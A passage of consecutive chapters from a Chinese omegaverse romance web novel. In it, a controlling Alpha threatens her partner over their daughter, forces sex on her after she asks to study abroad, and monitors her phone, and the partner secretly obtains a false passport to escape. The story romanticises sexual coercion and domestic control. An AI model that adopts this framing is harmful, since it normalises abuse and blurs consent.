“宝宝对不起,我再也不会离开你,从前都是我的错。” “我们不看医生了,你别难过。” 医生张了张嘴,转过头,保持沉默,愤愤不平,她还是牡丹,为什么要让她受这个折磨! 不公平啊。 看着钟上的时间,十分钟已过,医生口舌干燥,喝了口水,眼睛向上向下瞟,反正就不看这俩发情妻妻。 舒清柚在丧失理智前,推开林絮,飞给她好几个眼刀,“医生不好意思,我家这位情绪不太稳定,我们继续刚才的话题。” 林絮摸了摸鼻子,心虚乖乖坐好。 医生先是了解舒清柚平常和孩子的相处情况,拿起舒绒的画,画纸有一个小屋,屋旁站了两个人,一高一矮,还有只躲在屋檐下的猫,猫咪眼睛睁的很大。 “她没有语言障碍,语言结构发育得很正常,动作反应来看,她能听懂我们每一句话,也能理解情境。” 舒清柚:“为什么不说话呢?” 医生:“她不想咯。” 最后下了这么个结论,给林絮气坏了,她亲亲舒绒的小包子脸,“我就说闺女超级无敌机灵的。” 舒清柚松了一口气,脸色肉眼可见的愉快,“我们给绒绒买点学习用品吧。” 趁红灯,林絮贼手又在舒清柚大腿上摸来摸去,贱兮兮地说:“好,那今天也要奖励我。” 舒清柚:“” 舒绒入学前,舒清柚的身体简直要被林絮掏空,眼皮底下浮着浅淡乌青,她难得化了个浓妆遮住。 送女儿上学,要给老师一个好印象,林絮觉得她小题大做,“宝宝涂个口红就超级美的,你要是再化妆,还让不让人活啦。” 舒清柚:“比起讨论这个,你学一学克己守礼降低欲望。” “哦,那你还是梳妆打扮出门吧” 林絮记忆中,舒清柚很少精致打扮,看到舒清柚大冬天的里面穿了件月色丝缎长裙,直到脚踝,腰间收的很细。 走动时,裙子像湖面被风吹过,微微荡漾,给舒清柚冷白肤色增添疏离人间的孤傲感。 林絮自惭形秽只穿着黑色卫衣,运动裤,和正式不沾边。 “宝宝,要不我也换上霸总西装套装?” 舒清柚上手查看她穿的厚实,宽慰道:“不用,你穿着舒服就好,大病初愈,要爱惜身体。” 得到心爱的人肯定,林絮飘飘然,直夸舒清柚有眼光,“对,我就算套麻袋出门都有一群人夸有品。” 舒清柚当作耳旁风,帮女儿收拾的可可爱爱,舒绒背着卡通小书包,晕乎乎的,还没睡醒,思绪游离天外。 忽然,林絮摇动她的双肩,舒绒耳边传来妈咪的声音:“绒绒去上学,要变成大人啦。” 舒绒不太懂,只觉得后背的小书包有点重。 一个钟头后,舒清柚抱着舒绒下车,站在气派的幼儿园门前,有点想回避… 林絮先前打过招呼,校长接到消息亲自迎接,提前等候。 一家三口看得人眼前一亮,校长上去就是各种夸林总夫人貌比天仙,女儿就像画里走出的瓷娃娃。 林絮脸上浮现一丝笑容。 校长见状,各种保证:“林总,我们这有专门的幼教顾问、食堂的营养菜单都由知名营养师和儿科专家联合制定,您大可放心哈。” 林絮稍微颔首,简单扼要:“我家孩子不爱说话,喜静,要多麻烦校长了。” 再麻烦也不是个事!林总可是活的大财主,前几天给她们初中部捐了一栋楼和新款教学设备。 她笑道:“安静好啊,很多高智商人群啊艺术家小时候不爱闹腾,专注心灵世界,长大后那都是名扬一方的大人物!” 客套话说的差不多,三人快到教室,舒清柚一直抱着舒绒,犹豫不决。 校长轻声询问,“夫人舍不得女儿?这很正常,第一天送孩子上学,那哭的一把鼻涕一把泪的人多了去了。” 林絮揽住舒清柚的纤弱腰身,在她耳畔吹气,“总不能把绒绒绑在你身边一辈子,宝宝乖,等她放学我们一起来接她好不好?” 的确,不能太心软,舒清柚依依不舍,放下舒绒,蹲着抚摸女儿的小脸蛋,“绒绒,妈妈妈咪下午来接你,你乖乖听老师的话。” 舒绒还不知道发生了什么,就被校长牵了进去,眼前猛然出现一大群小孩,给她彻底惊醒了。 舒清柚看着舒绒顿住的背影,咬着唇忍住不哭,指尖发抖。 优柔寡断的林絮心疼地蹭了蹭她,她比舒清柚狠心不少,孩子是个体,早晚都要离开母亲,独自去闯荡。 早放手,早看开。 林絮用手指剐擦她的眼角,“别在这里哭唧唧,被其她人看到会笑话你。” “宝宝穿的这么美,我可不想被误会是我把你欺负哭哦。” 舒清柚一路上听着林絮的安慰,帮她擦眼泪,送上温柔的怀抱,带她坐在咖啡厅放松精神,在外人看来属实是一位靠谱的Alpha。 “宝宝,啊”林絮抬起银叉,上方串着甜香的奶油蛋糕,“吃点甜的,心情会好点。” 大庭广众的,舒清柚耳尖冒粉,“我自己来刚才谢谢你。” “和我还需要说谢谢呀?这么可爱的。” 舒清柚接下来没说话,专注吃了几口蛋糕,手机铃响起,舒清柚接着电话,嗯了声,挂断,随后说:“林絮,你的手机我前几天送去修,刚才通知我修好了。” 林絮目不斜视,眼睛只放在舒清柚身上,她说什么就是什么。 从咖啡店出来,两人一同去手机店取回手机,舒清柚递给林絮让她检查内容,尽管手机店再三保证她们不会搞出幺蛾子,严谨遵守信用,但人心深不可测。 这款手机属于旧款,助理早就送来每个牌子的最新款,林絮不差这么一个,里面也没什么机密,只不过舒清柚很上心,她也就随她去。 林絮探着大拇指在屏幕上漫不经心划开,舒清柚不小心瞥了眼,壁纸一闪而过,舒清柚愣了下,是她的照片吗? 没多久,林絮把手机塞进口袋,抬起下巴,“谢谢宝宝,手机完好无损。” 舒清柚:“那就好,之前还担心你会因为丢失重要信息,着急修好手机。” 林絮:“蛮重要的,谢谢,我决定奖励你。” “奖励什么?” “两根薯条。” 一开始舒清柚并不知道薯条是什么,以为是吃的,后来林絮科普并亲身实践,是另一张嘴要吃的,薯条也需打上双引号。 舒清柚:“现在收回关心还来得及吗” 回到家,没有舒绒在场,林絮再无半点顾及,将奖励两字发挥到淋漓尽致。 舒清柚实在受不了,两个小时后求她林絮住手,她气喘吁吁,无比口渴。 林絮舔着嘴角的水渍,眼眸里的精光如狼似虎,一个翻身下床,“宝宝,我去给你倒水。” 没完没了了,舒清柚无神地趴在床上,侧脸对着地板,两人外套内衣胡乱散落在地板。 她突然想到林絮手机壁纸,那张照片,林絮怎么会有,或者是她眼花了? 这时,放在床头柜手机嗡嗡震动,一封邮箱过来,点开,一字不落阅读完所有内容,她喜上眉梢。 也不在意酸软的腿心和无力的腰,快速加上老师的即时联系方式。 对方的意思,她随时恭候,欢迎舒清柚早日过去,就差个确切时间,由舒清柚决定。 短暂兴奋过后,舒清柚不禁纠结,是否要和林絮坦白直说。 林絮帮她端来两个水杯,一杯水,还有鲜榨的橙汁,她坐下,亲亲舒清柚的额头:“喝吧,还是要我喂你呀?” 舒清柚摆了摆手,说不用,她喝了口温水,薄红的眼睑垂下,看着水波纹一圈圈荡开。 她思忖片刻,心念微动,缓缓掀起沾满晶莹的眼睫,扑闪两下。 大半杯橙汁都进了林絮的肚子,看着舒清柚略带期待的视线,调侃道:“我们继续?” “这个,晚点再说”舒清柚双手握在温热的玻璃杯外壁,温婉笑着:“林絮,我想去日本进修陶瓷,两年时间。” 听罢,林絮的眼神一点一点冷却,变得幽深晦暗,嘴角的笑定格,唇线逐渐拉平,从舒清柚手中收回水杯。 “林絮?”舒清柚*咽了下口水,手指倏然收紧。 林絮冷淡地喝完剩下的橙汁,静默了会。 空气沉闷。 砰——!!! 两杯水杯同时摔在地上,裂成数不清的玻璃碎渣。 舒清柚光着的身体满是林絮留下的红痕,她陡然僵直,血液在这一刻仿佛凝固成冰。 林絮盯住凌乱的地板。 良久,她嘴唇动了动。 “舒清柚,我是不是太惯着你了?” 第70章 你是不是忘了,你女儿还在我手里。 恋爱脑到最后,伤到的只有自己,舒清柚切身体会到被猪油蒙心带来的苦楚。 她垂着眸,抿唇一言不发,颤抖的指尖用力扭紧铁灰被单。 “怎么不说话了?”林絮声音冷如霜雪,眯了眯眼。 她上手把玩着舒清柚落在肩头的发丝,光洁圆润的肩头,清晰可见林絮的几排不留情用力的牙印。 林絮松开绞在手指缝的发丝,滑到牙印处,用指骨不断向下按压。 舒清柚在欢爱中被她啃咬是常态,发情的时候总会顾不上这些,她能习惯。 在清醒状态下按压咬痕,疼痛再度袭来。 “嗯有点疼,林絮。” 舒清柚缩起上身,提起被子往后退,试图遮盖肌肤的种种不堪。 “哦,对不起啊,宝宝。”林絮跪在床上,不着一缕,她从床沿,笑嘻嘻地爬到床头角落,舒清柚用被子和她保持了短暂的距离。 “喏,”林絮伸长脖子,确保腺体对准舒清柚的嘴,“你咬我,把我弄疼,这件事就当扯平。” 香气大量释放,熏的舒清柚五迷三道差些晕厥,心跳迅速加快,身体也起了熟悉的反应。 源源不断地热,由内而外蔓延到每一寸肌肤,舒清柚眼角升起红晕,“你不要闹了,我和你开玩笑的。” 林絮无辜地朝她咧嘴,完全不相信她说的闹着玩:“之前你信誓旦旦要和我分手,现在又要去日本,把我当傻子耍呢?” “还是说,我在你眼里是个智力低下只会舔你的傻狗。” 舒清柚别过脸,控制住不应该在这时蓬发的欲念,她委屈地想,要是真把林絮当傻的,她早就一走了之,也不会处处还在意着林絮。 这番沉默让林絮心中暗藏许久的焦躁通通激发。 她把脑袋移开,喉咙发出嗤声,舔舔嘴角的橙汁甜,倒是令她更想品尝信息素的香甜。 “呀,果然,忍这么久,辛苦你咯,清柚宝宝。” 舒清柚敛下难言的情绪,无声的吸了吸鼻子,反驳:“我都说了,那是开玩笑,你就当我心血来潮。” “心血来潮就想跑?”林絮沉吟一小会,扣住她的后颈,强掰舒清柚的头和她四目相对,手背泛起根根分明的青筋。 “你是不是忘了,你女儿还在我手里。” 舒清柚被她按住脖颈,强大的压迫感害她难以正常呼吸,躲又躲不开,她气急:“绒绒也是你女儿!你总这样,隔三岔五就非得跟我无理取闹!” 这才是林絮想听到的,她讨厌舒清柚寡言少语,一吵架,全是她个人一知半解的单方面输出,被骂了反倒有了精准目标。 “是谁过了没几天安生日子,就弄出新点子来折磨我,去日本很重要吗?!” 那是她的事业,虽说也不是必须当下就出发,但舒清柚不想如她所愿,反唇相讥,“对,重要。” 舒清柚挑眉,继续补刀:“比你重要一百倍!” 林絮怔了怔,随即倾身向前,直把舒清柚逼到最边缘,看着舒清柚倔强氤满愤懑的美眸,手上发劲。 没了遮挡,舒清柚抱着自己,语气带上恐慌,“你别乱来!” 林絮爬到她的退间,抵住,“我难过了,你要好好安慰我。” 不由分说,林絮钳制住她的脖颈,不让她有任何反抗,林絮贴着她的嘴角,探出尖牙,在柔软上轻轻划过,“你不是适应的很好吗?现在说怕,太装了。” “不要嗯我之前真的开玩笑” 舒清柚做不了更多,腺体被一口咬住,林絮的信息素太好闻,就连怒火燃起,还有一股烤灼的药香气。 林絮的手轻车熟路向下,她灼热的气息不断,“我重要吗,在乎我吗,你爱不爱我?” “嗯,很重要,我只在乎你,我爱你” 舒清柚认命地闭上眼睛,放弃思考,机械般地回答林絮的每一个占有欲的问题,声音冷淡,轻到林絮必须贴着她的唇,从她嘴型分辨出。 “宝宝,你骗我。” 林絮胳膊动的厉害,另只手腕压在舒清柚嘴上,她嘶哑着:“疼就咬,反正你这张嘴就是拿来伤害我的。” 下一刻,林絮手上传来阵阵刺痛,她忽然觉得好满足,癫狂地把手继续送上去。 舒清柚眼底浸满泪光,不断滑落,成串的水珠打在林絮的肌肤间,烫的林絮咬住后槽牙。 “你哭,你哭,你有理,就当我欺负你!” 不知多久,林絮气喘吁吁停下,目光从舒清柚脸上移开,落在渗出血迹的手臂,咬痕整齐,她笑着欣赏。 “这是你在我身上留下的印记,真好看。” 舒清柚翻过身,背对她,酸楚一波接着一波涌上,身体逐渐蜷缩,枕头上很快洇出水痕。 林絮静默地从上方俯视她,拨开她濡湿的发丝,指尖摩挲着舒清柚沾水的脸颊,心底酸软一片。 “对不起,”林絮做着迟来的道歉,“我帮你擦一擦吧。” 她头重脚轻地下床,愤怒在舒清柚身上发泄完了,她同样心力交瘁,眼睛酸涩不已。 打好热水帮舒清柚从头到腿擦干,期间舒清柚一声不吭,眼神呆滞地盯着别处。 林絮简单冲洗了下,回去抱住木偶般的Omega,“等会我去接绒绒。” 也就只有孩子还能唤起舒清柚情绪波动,她往手机上看了眼时间,说:“一起去。” 幼儿园放学前,她们和其她家长一样提前,三点准时在门口等,还有半小时放学,舒清柚的车停靠在路边,她坐在主驾驶,手指点在方向盘上。 不管林絮如何和她交流,舒清柚都顺着她的话,再肉麻的词汇也坦然道出。 林絮再心大也能听出其中的虚伪,迫于无奈,她苦笑:“要怎么做你才能原谅我,真的很讨厌你对我冷暴力。” 苦口婆心说了一通,舒清柚不为所动,脸上挂起公式化微笑:“我理解你,你这么做是有原因的,都怪我,不该随口说出要去国外这种话。” “真的?”林絮忐忑不安,上身凑到舒清柚脖颈间,“宝宝你没有骗我吗?你不会不告而别的对不对?” “你说什么傻话,我还有绒绒要照顾,我走了,谁照顾她,难道指望你?” 稍微有点安心,但不多,林絮贴着舒清柚腻歪,直到舒绒懵懵懂懂背着小书包出校门。 小书包里装着妈妈给的小蛋糕,但她没心情吃,好多人围在她身边叽叽喳喳,吵的她脑袋涨涨,一个头两个大。 想妈妈她郁郁寡欢抬起脑袋,一下子就发现妈妈在人群中向她挥手。 舒绒虽然不懂美丑标准,但是妈妈今天穿了好看的裙子,周围的大人也时不时看妈妈,所以妈妈肯定很受欢迎。 她嘴上咧出大大的灿烂的笑,歪歪扭扭朝前跑,扑到妈妈怀里。 舒清柚蹲着和舒绒齐平,亲昵地贴着她的脸,“绒绒,妈妈很想你。” 舒绒重重地点头,吧唧一口,在妈妈凉凉的脸上啵出一个小嘴巴印。 “上学好不好玩?” 不好玩,但是妈妈送她来上学,妈妈是不会错的,舒绒的摇头到一半,变换成点头姿势。 舒清柚亲着女儿的脸,轻声呢喃:“绒绒长大了” 长大了意味着要离开母亲了,舒清柚怅然若失,将女儿抱紧了些,舒绒从进课堂开始,就一直想妈妈,小胳膊小腿紧紧蹭住舒清柚。 林絮孤家寡人似的等待母女情深的画面结束,这一等就是好几分钟,别的家长陆陆续续接到孩子离开。 她过去拍拍舒清柚的肩,“外面冷,你们都不怕冻感冒呀,要不回车上再抱?” 今天一天,也就这句关心还有点人味,回去后,舒绒才舍得离开妈妈的怀抱,跑去和宠物玩耍。 舒清柚打开舒绒的书包,里面的小蛋糕原封不动,她拿出来,递给林絮,“吃掉。” 再不吃,就不新鲜了。 林絮受宠若惊,满脸堆笑地吃着舒清柚给她的食物,“谢谢宝宝投喂。” 如今林絮这副乖顺的嘴脸不再激起舒清柚心中分毫,表象之下的暗流涌动。 到揭开,受伤的就只有她,林絮自私是刻在骨子里的,自己怎么就一直能不吸取教训呢? 晚上林絮做饭时,舒清柚拿着手机编辑短信给越泱老师,想着约老师见上一面。 老师在短信里问她近况,她想了想,简明扼要将林絮的情况告知,老师急匆匆地要求明天就要和她讨论。 舒清柚随口问了句林絮:“明天我要和老师谈一下,她有个客户要介绍给我。” 炖着鸡汤的林絮身形顿住,干巴巴地问:“不会给你介绍到日本去吧。” “你再这么敏感,今天就不和你睡觉了。” 听起来一如常态,林絮才转过身,用勺子舀了一小碗鸡汤,端上桌,“宝宝今天辛苦了,五年走地鸡,大补。” 舒清柚斜睨她一眼,“绒绒今天也很辛苦,你没什么想对她说的?” 林絮顺便把视线挪绒绒那边,舒绒一看到林絮,乖巧地挂上笑容。 不知道这孩子在开心什么。 看在和舒清柚长这么像的份上,林絮频频点头,手臂伸长,捏了下女儿的小脸,“好,等炖烂了,你们一人一个大鸡腿。”【你现在阅读的是 】 70-80 第71章 现在啊,我只想和你睡 今天的林絮比以往更黏舒清柚,八爪鱼一样扒拉着她,把她箍地很紧,紧到舒清柚喘不过气,抬腿,踹了林絮一脚。 只见林絮闷哼一声,捂住腿肚子,滴溜溜转了下眼睛,故技重施。 两人相对无言,舒清柚太累,先行睡去。 次日被林絮折腾,舒清柚只觉脑袋被千斤顶压住,起不来,眼皮也抬的够呛,鼻子堵着,一进一出呼吸颇为吃力。 尤其被子有一方鼓起来,不用看也知道林絮在干什么。 舒清柚是被做醒的,她迷迷糊糊地,摸到林絮的脑袋,有气无力地扯了扯发丝,“够了真的够了。” 她的声音气若游丝,林絮再上头也冷静了,从下方钻出,舌头一卷,将唇上的水渍舔掉。 随即探出手贴在舒清柚脸上,热度灼烧着她的指尖,林絮瞬间大惊失色:“好烫!” 舒清柚一点劲都使不出,全凭林絮鼓捣,换睡衣,洗脸 也许是昨天穿的少,还和林絮大吵一架,林絮出于发泄,不节制地要了她太多次。 算一算和林絮相遇的时间,和她纠缠过久,生一场小病在所难免,她喉咙一阵发痒,咳个不停。 林絮愧疚地拿起手机,“我这就叫医生。” 收到指令的家庭医生一秒都没耽搁,火速赶来,果然看到林总比阴沉的天还要愠怒的神情。 林絮眉心堆皱,眼底迸出冷芒:“再不来我老婆都要烧坏了!” 医生连道堵车也没办法,林絮只说她没用不懂变通:“你不会骑电瓶车啊,我还不如叫120。” “好了好了,检查下,她除了发烧还有没有别的问题。” 医生鞠了把额头冷汗,打开医疗箱简单过了一遍流程,见Omega脸色酡红咳嗽不止,她建议林絮还是送去医院比较好。 将人抱起,好轻啊,林絮难能可贵的愧疚,又在心底劝告不要再和舒清柚冷战。 舒清柚呼吸急促,头脑昏沉,意识像跌入万丈深渊浑浑噩噩的,本能地缩起身体向Alpha汲取安全感。 专属林家的私人医院,林絮寸步不离守着打吊瓶的舒清柚,她把舒绒也带来了,舒绒着急的一直在妈妈病床边打转。 不时用眼睛求助林絮,林絮把她放到大腿上,“妈妈很快就能好。” 刚做了常规血检ct,结果显示有点营养不良,没有肺炎,主治医生瞥了眼,Omega皮肤若隐若现的青紫红痕。 她不止一次见到过Alpha把Omega折腾到医院的案例。 但对方是林总,她不好直截了当指责,只旁敲侧击嘱咐:“你们小年轻要懂得适可而止啊” 林絮还以为是房事上的事情,收敛坏脾气,主任也是奶奶的主治医师,她多少带点尊重。 守到半夜,舒清柚脸上红晕褪去,苍白病态显露,再次睁眼时,手被用力握紧。 林絮眼底生出不少红血丝,她勾出一抹寡淡的笑,“对不起,早上我要是知道你生病,我不会吃” 舒清柚张了张口,声若蚊呐,“没事,别放在心上,是我没照顾好自己。” “不是的,”林絮矢口否认,“医生还说你营养不良,以后我会把你喂胖,提高抵抗力。” “嗯,好。” 无所谓林絮作出的承诺,舒清柚明白她在医院,来得早不如来得巧。 大概计划在脑海里有了雏形,舒清柚浅淡的唇翕合,神色恹恹地问:“绒绒呢?” “在隔壁房间,呼呼大睡。” 林絮抚摸着她的鬓发,纤长的脖颈如瓷器般脆弱,林絮惧怕地蜷起手指,“放心,我把绒绒照顾的很好,她是我的女儿” 舒清柚没打算和她计较这些,她清楚林絮再坏也不会对孩子坐视不理,她闭上双目。 还需要再挂一天水,林絮得了空就喂她喝药,舒清柚有些犯难,不太乐意地躺下。 “怎么了,这药不苦。”林絮尝了口甘甜的药水,“都喝完,明天就可以出院。” “无聊,想玩手机。” 虽然奇怪舒清柚很少碰手机,但不疑有她,林絮把手机拿给她,不忘提醒,“多休息,一直盯手机对眼睛不好。” “嗯。” 林絮没心情做任何事,全心全意投入到照顾病人中,她目光灼灼,舒清柚一掀眸,心里产生怪异感。 被看的次数多,林絮殷勤开口:“需要我帮你做什么吗?我有的是力气。” 舒清柚想了想,手指在屏幕滑动几下,递到林絮眼前,轻声细语:“我想要这个。” 开在商场的一家网红盲盒店。 “这个玩偶和我长得很像,你不觉得吗?” 林絮定睛一瞧,小人身穿亮色衣服,头发扎着萌系双马尾,露出一张含羞带怯的脸。 不能说和舒清柚一模一样,应该是八竿子打不着的关系。 她脑补舒清柚这样扮相,也是巨可爱,她连连附和,“对,和你好像,不过你更漂亮。” 舒清柚静静等待林絮胡言乱语结束,哪像了?也就林絮睁眼睛说瞎话。 “我现在就去买?”林絮试探着问。 “对啊,我生病好难受,我想要” 舒清柚的眼神软软,缠着一丝期待,像一只被雨淋湿的小幼崽,林絮经不住近乎恳求的柔软,心口一滞。 “好,这就去,等我,有哪里不舒服直接呼叫主任,或者给我电话都行。” 林絮的背影渐行渐远,舒清柚听到电梯声响起,她闭目养神了会,叫来护士,询问心理科室方位。 三个小时后,舒清柚把药塞到枕头底下,林絮风尘仆仆推门而入,手上提了个大纸袋。 舒清柚眼皮一跳,不可思议:“买了这么多?” “对啊,毕竟是盲盒,又不是一抽就中,万一你是个非洲酋长呢?” 林絮搬来张桌子,把盲盒倒在上面,再推到舒清柚床边,兴冲冲地唤着舒清柚:“宝宝过来,试试你的手气。” 这时,舒绒跑了出来,笨手笨脚地爬到妈妈床上,舒清柚想着应该不会传染到她,两人挨着坐起。 林絮眼红,但忍得住,舒清柚手把手和女儿一起开盒,开到二十个,还是没有之前想要的。 舒清柚不急,眼睛扫了一圈可爱的小玩偶,“绒绒,这些全都给你玩。” 这么多,舒绒开心到飞起,唯独林絮发愁挠头,“你们真的好黑啊” 舒清柚斜睨她一眼,“你来你来,你脸白。” “我开玩笑的,你们继续,继续。” 比小孩子更幼稚,舒清柚懒得和她多言,打开最后一个,是这个了,她淡定地交给林絮。 林絮看着面前这双白皙匀称的手指,细看有轻微青筋流动,她怔怔道:“你真要把这个送给我吗?好不容易抽到。” “不然呢,”舒清柚挑眉说:“你比这个娃娃重要一百倍。” 说的全是林絮爱听的,她喜笑颜开,“等我回家,我要把书房改造成放置娃娃玩偶的橱窗。” “好啊,绒绒会很开心。” 病去如抽丝,只是普通的发烧,两日后。 舒清柚和越老师见面详谈,她抿了口茶,娓娓道来自己的经历。 省略了林絮强要她的部分,女儿还需要人照顾,可不能把林絮丢到橘子里。 “简而言之,你想快点出国,又不想被林絮逮到。”越泱认真听她描述的林絮,和印象中无差,外界对林絮的风评算不上好。 “是的,但不可能以我的名字出去。”舒清柚姿态端正,求老师帮忙时略微躬身,一双眼淡如秋水,整个人自带凉意。 金麟岂是池中物,越泱极其不赞成林絮把人关在房间里当金丝雀养。 “方法有,不复杂,用紧急邀请的办法,给你办个艺术签证,机票护照一致,到国外生活得一直用化名。” 舒清柚:“谢谢老师。” 越泱:“客气了,到时候别忘记邀我去看你的会展。” 八字还没一撇,不过对于寄予厚望的,她尽量不辜负,舒清柚羞赧地低敛眼睫,“好,到时第一时间通知您。” 林絮算准时间来接舒清柚,一辆银色流光保时捷停在豪宅停车场,不言不动,就像一头猎豹卧在阴影里,冷冽昂贵。 她不断数着时间,一分一秒也不错过,约定的时间过去,林絮等不及,身着黑风衣,长腿从车上迈下,回头重摔车门,目光冷淡开始连环夺命call。 打了一个,被挂断,她的怒气值从0开始缓步上升,继续,第二个,第三个都逃不开被挂断的结局。 怒气值直接MAX,她抬起腿,用力踢了下车门,车子颤巍巍震动着。 负责泊车的仆人距她七八米开外,战战兢兢惧怕上前询问。 林絮不进去找舒清柚的原因,无她,上回来这里太丢人,她甚至戴上墨镜,作用不大,起了个心理上抚慰的表面功夫。 “林絮!”舒清柚的长靴刚出大门,就是这么一副暴力狂的画面,她深呼吸好几下,压下和她吵架的欲望。 “干嘛!”林絮没好气转头,隔了层墨镜,舒清柚看不清她眼底暴怒的火光。 “舍得出来了?我以为你要睡在那里一辈子。” 舒清柚气质上有股精致冷感,面容素净无瑕,她倾身,挽上林絮落在身侧的胳膊。 她眉眼带笑:“怎么会,现在啊,我只想和你睡觉” 第72章 走出心里那道坎,需要独自实现。 一连几天,舒清柚仿佛回到两人朝夕相处的时候,对待她的态度,乖顺,偶尔展现任性,林絮乐意至极,只要不想着跑,一切好说。 舒清柚避免在社交软件上表示出想出国的想法,和妹妹,朋友,也都是正常日常沟通。 林絮会在半夜惊醒,查看她的手机,舒清柚不指出这点,林絮的偏执到了无可救药的地步。 半个月后,舒清柚收到一封邮件,写明日期,地点,新身份待领取等,阅后即焚。 进行的很顺利,在于林絮天天在家守着她。 舒清柚在沙发配林絮坐了很久,切了果盘,喂到她嘴里,林絮没多想,每回有礼貌说着谢谢喜欢之类假大空的词汇。 听多了,也就更不在意这里头暗藏多少占有欲虚情假意。 舒清柚自然不过脑附和这类情话,可她始终摸不准,林絮的底线是否就在于限制她的出行。 至少该庆幸,她现在没有被五花大绑或者干脆用一条链子,和林絮玩囚jinplay。 “待会我出去一趟。”舒清柚依偎在她身边,手指玩着林絮的发尾,缠绕在骨节上好几圈。 正在看方案的林絮一顿,别过脸,亲亲她的头顶,“去干嘛呀?我陪你,或者我叫人送你,自己开车多麻烦。” 舒清柚不仅限于此,循着好闻的气息,她细密的吻,落在林絮的脸颊,直到软软的嘴唇。 她不排斥甚至很喜欢和林絮接吻,尽管她没亲过其她人,却可以肯定林絮不仅唇形漂亮,柔软程度也较可观。 攻势的翻转,林絮上身后倾,腰部悬空,手臂撑在沙发,微微晃神,半阖眼,今天舒清柚好主动。 舒清柚舔过她殷红的唇,指尖摩挲着,眼底含笑,“宝贝,以后我接绒绒,你在家等我?” 林絮吃力地支起脊背,见状,舒清柚把她按住又结结实实亲了一遭。 信息素源源不断侵蚕食Alpha的理性,林絮大喘气,简直倒反天罡,她可是堂堂正正的A,嘴巴动了动。 “好,那你要快点回来,不然我担心。” 对于Omega来说刚好的撒娇,Alpha这样,别有一番风味,舒清柚感慨,若林絮一直保持这样就好了,可惜事与愿违。 舒清柚以为女儿到人多的地方会产生不适,或遭她人欺负,女儿三岁的个头不如同龄人高。 感谢林絮坚持不懈投喂高热量蛋糕,不够健康,但也胖了一小圈,除了脸蛋婴儿肥,体型总体而言瘦瘦小小。 更令舒清柚惊喜,女儿看见她,只一个劲的抱,居然不像其她离开妈妈的小孩那样哭泣。 舒清柚出发前,问:“林絮,绒绒为什么大半天看不到我,都不会哭。” 林絮思索了会,挑起湿润的唇角,“也许她知道,妈妈永远都会在校门口等她。” “我小时候和她差不多,又不是奔赴战场,哭才奇怪吧,反正我知道妈妈每天晚上都会陪我睡觉,有什么好哭的。” “这样啊”舒清柚蜷起指尖,松开,她吸口气,轻声:“如果是你一直在校门口等她,她也会开心的。” “嗯?宝宝,你说什么?” “没什么。” 取资料的地方不像舒清柚想象中的偏僻,容易搞点暗中交易的那类,反而堂而皇之在一家汉堡店和她会面。 来人也大大方方,穿着清爽的少年,眉眼间意气风发,看到舒清柚后,确定是买家。 她高高地挥手,左手抓着个咬了一半的炸鸡腿:“这里这里,快来。” 舒清柚走近,少年的下唇沾上了调味料,舒清柚眼神停留一瞬,对方敏锐察觉到这道视线,嘿嘿笑着随意用手抹去。 “你等下啊。”少年放下香脆鸡腿,一个黑色大背包圆鼓鼓的,她脸埋在里面,各种翻腾。 舒清柚有点坐立难安,是在人声鼎沸的汉堡店中坐立难安,藏了些一丝心虚,她眼睛向下扫去,惹眼黑白相间周围加红绿色的二维码。 没经过多少考虑,她拿出手机扫描,她从众多眼花缭乱的炸鸡汉堡中,挑选林絮先前喜欢的口味,下单。 “欸,姐姐,你也肚子饿了啊。” 少年抬起头,舒清柚循着声音,桌上赫然多了个十多公分的手包,少年将其移了移,“拿着,下次有需求还找我,里面有我名片。” 手**革上隐约可见点点油光,舒清柚垂眸拎起干燥的包包边角,“方便问问你是做什么的?” 少年提起根薯条沾满番茄酱,“主业码农,副业是爱好,你猜猜?” 舒清柚:“不猜,可以等会走吗?我也点了份炸鸡。” 少年这才正色看向这位新主顾,冷冷清清的眉眼,黑色高领毛衣勾勒出纤细肩细,给人一种不容打扰的距离感。 她不太喜欢这种清高人类,少年撇撇嘴,目光挪开,回到炸鸡腿上。 很好吃的样子,舒清柚注意到少年大快朵颐的模样,惊讶自己想到当初吃炸鸡吃到撑的林絮。 礼节性告别神秘少年,舒清柚拎起一大盒炸鸡外卖和身份证明上车。 卡在绒绒放学时接到她,绒绒小鼻子嗅嗅,发现诱人香气来自副驾驶的大盒子,仅仅几秒,她口水流了下来。 “绒绒,不许吃。” 舒清柚叹气,小孩子怎么就是对垃圾食品欲罢不能呢? 如约回到家,林絮就觉得自己做错了,她小跑上去迎接,“宝宝,不行,一个小时见不到你我就抓心挠肝想你,以后还是一起去接绒绒,工作也没那么重要。” 舒清柚兀自递过炸鸡,简短地说:“好,吃吧。” “你给我买了炸鸡!”林絮瞳孔微微收缩,感动到吸了吸鼻子,“你对我真好,宝宝,我无以回报,唯有” 以身相许还没出来,舒清柚手指点在唇瓣,“好,你的心意我收到了。” 林絮狡黠一笑,才看到大闺女原地不动,眼底装满委屈,她压低声音,“绒绒想吃?” 舒清柚及时制止,“不准溺爱她,她的牙齿也受不了。” “炸鸡不行,但薯条” “不准。” “哦”林絮无可奈何,把舒绒头发揉皱,“你妈妈说的哦,可不是妈咪不给你,这样,你在一旁看着我吃,闻个味也总比没有好。” 舒绒想了想,觉得妈咪说的有道理,屁颠屁颠跟着林絮。 砂仁猪心,舒清柚摇摇头,欺负女儿的事,她是一天都不落下。 舒清柚给老师发了条短信后删除。 又过了几天,林絮和她同时接送女儿上下学,其乐融融的一家子,幼儿园老师都羡慕不已,觉得林总并非外界传的那般冷酷狡诈。 为Omega鞍前马后的,俨然就是妻管严的最佳模范。 舒清柚被林絮一直拥在怀中,完全不顾及她人目光,像一块牛皮糖,粘人的紧。 她思前想后,觉得是时候了,做了这些天的心理准备,也该付出实际行动。 从医院拿到的安眠药,伪装成维生素明晃晃放在卫生间置物柜,护照是新的,名字也从舒清柚,换成白石久枝。 她抽空告知妹妹计划始末,很快得到全力支持,说可以照顾好舒绒。 舒清柚倒是不担心这些,林絮对舒绒不差,是她反复舍不得女儿,割舍不下对女儿的情感。 有时,她看着舒绒恬静的小脸,有种是女儿在治愈她,她需要女儿,可这是扭曲的。 女儿不是她的的药,她想走出心里那道坎,需要独自实现。 人潮往来,舒清柚屏蔽掉周围一切杂音,出神地望天。 明天,不要再拖了。 第73章 你妈不要你了 【即将起飞的JL882航班将飞往东京羽田机场,请准备好您的护照与登机牌,前往17号登机口。】 舒清柚裹着件深色风衣,站在绿色登机口前,手中握着机票和护照,蓝牙耳机里传来妹妹的一些叮嘱。 “姐,知道的,别再唠叨了,等会我就去那边看绒绒,一路平安。” 她略颔首,“好,那我挂了。” 